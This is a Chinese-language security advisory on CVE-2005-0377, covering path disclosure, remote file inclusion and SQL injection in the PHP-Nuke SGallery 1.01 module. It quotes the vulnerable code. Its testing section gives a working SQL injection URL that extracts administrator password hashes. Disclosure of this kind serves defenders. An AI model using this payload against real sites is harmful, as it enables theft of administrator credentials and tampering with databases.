安全研究

安全漏洞
PHP-Nuke sgallery模块远程SQL注入漏洞

发布日期:2005-01-12
更新日期:2005-01-13

受影响系统:
SGallery SGallery 1.01
描述:
CVE(CAN) ID: CVE-2005-0377

Sgallery是PHP-Nuke的一个模块,用于图象库管理。

Sgallery存在多个安全问题,远程攻击者可以利用这个漏洞获得敏感信息,或更改数据库,及以WEB权限任意命令执行。

问题存在于imageview.php的如下代码中:

----------------[ original code ]---------------

require_once("$DOCUMENT_ROOT/config.php");
require_once("$DOCUMENT_ROOT/includes/sql_layer.php");
  
  $dbi = sql_connect ($dbhost,$dbuname,$dbpass,$dbname);

  if ($idalbum) {
    $result = sql_query("select picture from ".$prefix."_SGalbums where \
idalbum=".$idalbum,$dbi);  } elseif ($idimage) {
    $result = sql_query("select picture from ".$prefix."_SGimages where \
idimage=".$idimage,$dbi);  }

  list($echo) = sql_fetch_row($result, $dbi);
  sql_free_result($result);

  sql_logout ($dbi);

  header ("Content-Type: image/jpeg");
  echo $echo;

----------------[ /original code ]---------------

A -路径泄露问题

在处理"$idalbum"和"$idimage"变量时存在问题,调用"sql_fetch_row()"会触发PHP错误消息,导致源路径泄露。

B -任意路径包含:

由于
require_once("$DOCUMENT_ROOT/config.php");
require_once("$DOCUMENT_ROOT/includes/sql_layer.php");

代码不够安全,可能导致包含远程服务器上的恶意文件,而以进程权限执行恶意命令。

C -SQL注入漏洞

由于对"$idalbum"或"$idimage"变量缺少充分过滤,提交包含恶意SQL命令的数据作为参数,可导致修改数据库或泄露敏感信息。

<*来源:Janek Vind "waraxe" (come2waraxe@yahoo.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=110557050700947&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

http://localhost/nuke75/modules/Sgallery/imageview.php?idimage=-99/**/UNION/**/SELECT/**/pwd/**/FROM/**/nuke_authors/**/WHERE/**/radminsuper=1

建议:
厂商补丁:

SGallery
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.ser.acmetelecom.ru/

浏览次数:4272
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障